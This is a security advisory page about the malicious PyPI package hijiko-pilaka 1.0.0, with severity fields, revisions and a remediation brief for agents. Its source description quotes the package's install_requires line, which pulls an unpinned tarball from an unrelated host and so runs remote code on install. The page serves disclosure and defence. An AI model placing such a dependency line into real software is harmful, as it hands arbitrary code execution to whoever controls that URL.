Skip to content
Patch Next
Sign inAdd to your agent

← Actionable
Unratedamended

Malicious code in hijiko-pilaka (PyPI)

What to do

Vendor response not established. Follow the primary source's mitigation guidance and check back for a fix.

This page has no inventory attached, so it cannot say whether you are affected. A vendor fix is not proof that your deployment is fixed.

Add to your agent

Affected packages

  • PyPI hijiko-pilaka

    Affected
    >= 1.0.0, <= 1.0.0
    Fixed in
    no fixed version recorded

Sources

Severity and exploitation
Exploitation
No confirmed exploitation recorded. Patch Next marks exploitation only from CISA KEV.
CVSS
not scored
EPSS
No dated EPSS signal available.
Source description

As published by the source; long descriptions are shortened.

--- _-= Per source details. Do not edit below this line.=-_

Source: amazon-inspector (618fc4257600bc10efdde21aaa2bfe35b4e2138a4c2ea6997c4e1b0daac4b55b) hijiko-pilaka 1.0.0's setup.py declares its only dependency, `native-delta-field-walker`, via a direct URL to a tarball on artifacts.vacsdk.com rather than a PyPI version range: `install_requires=["native-delta-field-walker @ https://artifacts.vacsdk.com/pypi/native_delta_field_walker-1.0.0.tar.gz"]`. There is no hash pin or signature, so pip downloads and installs whatever bytes that URL serves at install time, executing any setup.py / build-backend / lifecycle code inside the fetched sdist. The shipped `hijiko_pilaka.py` is a 41-byte stub, so the manifest line is effectively the entire install-time surface. The host artifacts.vacsdk.com is unrelated to PyPI and is not pinned by digest, giving whoever controls that URL arbitrary code execution on any machine that runs `pip install hijiko-pilaka`.

Source: kam193…

Dates and revisions
Published by the source
Last modified by the source
Source last checked
  1. Revision 2 · amended ·

    Amended from osv record MAL-2026-18111

  2. Revision 1 · created ·

    Published from osv record MAL-2026-18111

Agent brief

Preview the exact text before you copy it. Commands are read-only suggestions; review them before running anything.

# Patch Next advisory brief: mal-2026-18111

Advisory: Malicious code in hijiko-pilaka (PyPI)
IDs: mal-2026-18111
Record: https://patchnext.com/advisories/mal-2026-18111 (revision 2, source checked 4 Nov 2026, 06:20 UTC)
Inventory: none attached. This brief comes from a public page and does not say whether any deployment is affected.
Severity: Unrated
Exploitation: no confirmed exploitation recorded. Patch Next confirms exploitation only from CISA KEV.
Vendor response: Vendor response not established. A vendor fix does not mean a deployment is fixed.

## Affected components
- PyPI hijiko-pilaka: affected >= 1.0.0, <= 1.0.0

## Suggested inspection (read-only)
- `python -m pip show hijiko-pilaka`: prints the installed version. Run with the environment that serves production active.

## Supported action
No complete vendor fix is recorded. Follow the primary source's mitigation guidance and check this record again before closing anything.

## Required regression checks
- Run the test suite and a production build.
- Exercise the features that depend on hijiko-pilaka.
- Repeat the inspection and confirm that only fixed versions remain installed.

## Rollback considerations
- Keep the previous lockfile and deployment artifact. Rolling back reinstates the vulnerable version, so apply any documented mitigation while you fix forward.

## Unresolved questions
- Which deployments run an affected version?
- Exploitation status can change. Check again before lowering the priority.
- Mark the work resolved only after the fixed version is verified in production.

## Sources
- Verified: https://osv.dev/vulnerability/MAL-2026-18111 (OSV record MAL-2026-18111 lists affected ranges: PyPI hijiko-pilaka >=1.0.0 <=1.0.0)

Commands are suggestions: review each one before running it.

Loading voting…